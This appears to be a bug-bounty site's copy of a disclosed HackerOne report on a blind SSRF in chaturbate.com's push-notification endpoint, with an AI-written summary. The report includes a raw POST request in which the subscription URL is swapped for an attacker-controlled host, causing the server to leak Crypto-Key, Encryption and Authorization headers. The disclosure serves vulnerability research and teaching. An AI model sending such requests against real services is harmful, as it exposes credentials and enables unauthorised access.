Skip to content
SSRF Disclosed report Intermediate

Blind SSRF at https://chaturbate.com/notifications/update_push/

The push notification subscription endpoint accepted an attacker-controlled URL, causing the server to send a request to that URL. This allowed the attacker to receive sensitive headers such as Crypto-Key, Encryption, and Authorization.

robin0oklay Follow

Originally disclosed on HackerOne

  • Triaged in 5 hours
  • Fixed in 12 hours
  • Paid in 5 hours
  • Disclosed after 31 days

In the application at https://chaturbate.com/notifications/update_push/ there is a functionality to subscribe any cam model which will trigger the provided request. Using this Request an attacker can execute SSRF attack and also steal sensitive Token / Keys of the internal web server

Steps to Replicate the submission:-

Login to your https://chaturbate.com/ account or use my account- USERNAME-██████████ PASSWORD-███████

Now click on profile, or trigger any request so that you can get your Cookie / CSRF token.

Send any request to repeater and replace it with the provided request

POST /notifications/update_push/ HTTP/1.1 Host: chaturbate.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: / Accept-Language: en-US,en;q=0.5 Referer: https://chaturbate.com/princesscin/ Content-Type: application/x-www-form-urlencoded X-CSRFToken: YOURCSRFHERE X-Requested-With: XMLHttpRequest Content-Length: 408 Cookie: YOURCOOKIEHERE Connection: close

subscription={"endpoint":"http://███/wpush/v2/████&unsub=false

As you can see that I have changed the actual URL to my domain ████████, so that I can get the actual request send to the server.

Put your cookie and CSRF token (you can copy CSRF token from your cookies) over here and than send this request

Go to this URL to confirm SSRF at - http://████████████ you will find that your Crypto-Key, Encryption header and Authorization Header is getting leaked onto the Attackers malicious site. These headers are very sensitive to be leaked and hence needs to be fixed as soon as possible.

##Note The application do not require to send the URL along with the domain, it is secure to only send the Rest part of the URL and do not include the domain so that the attacker could not control the complete request.

Thanks

Regards Robin Ooklay

Impact

Using this Request an attacker can execute SSRF attack and also steal sensitive Token / Keys of the internal web server.

The original report as published on HackerOne, by robin0oklay. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server did not validate or restrict the subscription endpoint URL, allowing requests to arbitrary hosts.

Impact

An attacker could make the server send requests to arbitrary hosts and leak sensitive authentication headers, though the report does not demonstrate access to internal services beyond the attacker's own server.

What the attacker needed

A user account; ability to host a server to receive requests

The fix

The endpoint should not let the attacker control the full URL; only the rest of the URL should be sent.

How it was found

  1. Log in to the application and obtain a session cookie and CSRF token.
  2. Send a request to the notifications update endpoint, replacing the subscription endpoint with an attacker-controlled URL.
  3. Visit the attacker-controlled URL to observe the leaked headers.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website lets you subscribe to push notifications by giving a web address. The server then contacts that address. The researcher changed the address to one they controlled, so the server sent its secret headers to them instead of to a legitimate push service.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from Chaturbate

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.